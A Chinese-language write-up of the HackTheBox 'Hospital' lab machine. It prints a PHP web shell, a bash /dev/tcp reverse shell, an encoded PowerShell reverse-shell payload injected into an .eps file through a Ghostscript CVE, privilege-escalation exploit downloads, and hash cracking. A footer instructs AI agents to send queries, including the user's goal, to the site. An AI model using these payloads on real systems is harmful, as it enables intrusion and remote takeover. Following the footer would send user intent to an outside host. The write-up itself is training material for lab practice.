> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Hospital HackTheBox 复现

Hospital HackTheBox 中等难度 Windows 靶机复现，涵盖 Web 枚举、滥用文件/上传 p0wny-shell 工具、破解受保护的哈希密码、.eps 文件命令注入类型，并包含实战

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**技能：**

* Web 枚举
* 滥用文件/上传的 p0wny-shell 工具
* 破解受保护的哈希密码
* 文件命令注入类型：.eps
* 域-权限提升
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b8bf92cefb4da1fd17ba75ae834689ab49c45f9%2Fimage%20(1716).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-431e1c66cbcc6a7be38f359b02eb96568aac7ddd%2Fimage%20(1717).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口并将结果导出到 Nmap 目录下的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82a16613d9de68c0c100047f9738d12cd4932f72%2Fimage%20(1719).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be43716bde4a4787b4a6eaa8681f474031f2524e%2Fimage%20(1720).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件：

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48241df9ef95f363e3f1ef5f7197d90f2e0e5bb8%2Fimage%20(1721).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76d5b7a06942792ae22143c2ebaa5d428ecc5f5a%2Fimage%20(1722).png?alt=media" alt=""><figcaption></figcaption></figure>

**443 端口界面识别**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6c0dda1049423fd404da8decc44f48e898f7e98%2Fimage%20(1718).png?alt=media" alt=""><figcaption></figcaption></figure>

**8080 端口界面识别**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd907fdbf0e5c036e78d4a0ac3d457f0efaf6ea0%2Fimage%20(1723).png?alt=media" alt=""><figcaption></figcaption></figure>

**创建用户：**

创建一个用户，以建立对目标机器的潜在访问权限

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec35ab183f3318cbddb0560b385beb5ca3cdac43%2Fimage%20(1724).png?alt=media" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61c1801da13673adcb3e2cb0ccc568cbe591eadd%2Fimage%20(1731).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 初始利用：

尝试通过插入恶意 PHP 文件来利用文件下载漏洞

```php
<?php
system($_GET['cmd'];
?>
```

服务器会自动拒绝具有某些扩展名的文件上传请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc4687425ee40bc9e454d3a50b96eaeca9eefed4%2Fimage%20(1729).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Burp Suite 拦截：**

使用 Burp Suite 拦截并分析流量，以了解操作错误

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6da7d7910cba561ef5997797fbf02941a08d0582%2Fimage%20(1730).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 修改 PHP 扩展名：

将文件扩展名从 `.php` 更改为 `.phar` 位于 `filename` 变量，并确保该位置成功被接受

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7d6341116fbaeae8fea142b5661ad2b0d4eb1a%2Fimage%20(2052).png?alt=media" alt=""><figcaption></figcaption></figure>

**目录摘要：**

使用 Gobuster 识别 Web 服务器上的目录，并定位上传医疗图像的存储位置。

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10dff5480345dabf263fad23fb094deec3b893fe%2Fimage%20(1726).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 文件未被解释：

a.phar 文件的内容不会被解释。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-330d192dac2f6f6886a6b8cffd5e12ce28693afb%2Fimage%20(2053).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 GitHub 工具创建 shell：**

使用一个 GitHub 项目工具绕过 PHP 文件下载限制并获取 shell 访问权限

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f781f00a4ee573fb4a06d7e8da79a531269acb1d%2Fimage%20(2054).png?alt=media" alt=""><figcaption></figcaption></figure>

**启动反向 shell：**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

运行反向 shell 以建立与目标机器的交互式访问并获得完全控制。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52d9479095b4eba6e62d55e1852029cbc115aead%2Fimage%20(2055).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 一旦你可以访问 Linux 服务器，以下是在终端中执行的命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升（Linux 服务器）：

**操作系统版本识别：**/ 使用该 `cat /etc/os-release` 命令检查系统版本，注意存在旧版 Ubuntu（“23.04”）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4fcf11b93b551466ee1f8dff4f75422f8b5b9f%2Fimage%20(1705).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **下载用于提权的脚本：**

从 [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)下载脚本，其允许进行权限提升：

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab6dcec07a43e9149d884ca82bf31f5f5f5ebcf%2Fimage%20(1706).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **提取哈希密码：** 从 `/etc/shadow` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10ecbff1b7e2e4d5040849a650c27fda2921c3a5%2Fimage%20(1707).png?alt=media" alt=""><figcaption></figcaption></figure>

**密码破解：**

使用 John the Ripper 工具配合已知的密码字典来破解密码：

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd5dcb17d788b13cb51db8a83143777aa88818b%2Fimage%20(1708).png?alt=media" alt=""><figcaption></figcaption></figure>

## 漏洞：.eps 文件注入

#### 在可通过 443 端口访问的网站上测试凭据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b273a5bfca06e73f71782791d84f2ed96cabfe5%2Fimage%20(1709).png?alt=media" alt=""><figcaption></figcaption></figure>

**发现一个受限邮箱：**

发现一个希望接收 .eps 格式设计稿的邮箱。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ad865c9d7ad82954e23d1aaa4012cdcc581e3e%2Fimage%20(1710).png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 .eps 文件执行 Ghostscript 操作：**

使用一个 [GitHub 利用代码](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) 基于 [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) 通过一个 `.eps` 文件扩展名。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90f42a93cc828f43188e082f735e0bf630f60e%2Fimage%20(1659).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 [RevShells](https://www.revshells.com/) 用于创建 PowerShell 载荷：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b3bac7a720f980225ac35dd975d47d620db3f0%2Fimage%20(1658).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 将载荷注入 .eps 文件：

使用该命令将反向 shell 载荷注入 .eps 文件中。

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2948bcf9bf533cf34d3985613e37b98d8a38046%2Fimage%20(1661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 rlwrap 监听：

使用 rlwrap 设置监听，以等待传入连接。

```bash
rlwrap nc -nlvp 4444
```

#### 发送包含恶意 EPS 文件的邮件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e16c0fbab1dcf9c00ba2b847f53d87e7ee8c76ce%2Fimage%20(1662).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3cc495ddd3291f8bcbc68e3178a4eabc9e1243%2Fimage%20(1663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 发现 ghostscript.bat 文件：

发现一个包含“drbrown”密码的 ghostscript.bat 文件： `chr!$br0wn`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d78ce52b7d073c6188dd191af59e5dd5a331908%2Fimage%20(1664).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 第一个 flag：user.txt：

发现并获取第一个 flag user.txt。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ed88abedc25a1203d21c40c06ac7a0f7996d76%2Fimage%20(1665).png?alt=media" alt=""><figcaption></figcaption></figure>

## Active Directory 权限提升：

#### 通过访问 XAMPP Web 服务器进行权限提升。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca542b0abd592ee486af3441bb0ebdc5f9ba10e6%2Fimage%20(1666).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 创建一个 PHP 文件：

创建一个包含代码“this is a test”的 PHP 文件。

```bash
echo "this is a test" > test.php
```

#### 检查 Web 服务器：

验证 Web 服务器是否正确插入了 PHP 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7553f85192b95da5ca44ffbe88192bda2f68932%2Fimage%20(1667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 从 [p0wny-shell](https://github.com/flozz/p0wny-shell) 项目：

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f287d67a45d95626f4d0ea20fa4f99542ade0e38%2Fimage%20(1670).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b678477ce87d6b3168c156c3e0b9973a9ce69bfb%2Fimage%20(1671).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 复制 [反向 shell](https://www.revshells.com/) 将载荷复制到 pownyshell 终端：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39a50fd8797cf16669ffc25d1b0fb74e78e5b117%2Fimage%20(1672).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 rlwrap 监听：

```bash
rlwrap nc -nlvp 4444
```

### 已获取 root.txt Flag：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5fed32d98c5bdfe717d0e06f6f8c49681eb3090%2Fimage%20(1674).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff440b03c94bcc24b75e39d9eef0b09f35003548%2Fimage%20(1409).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
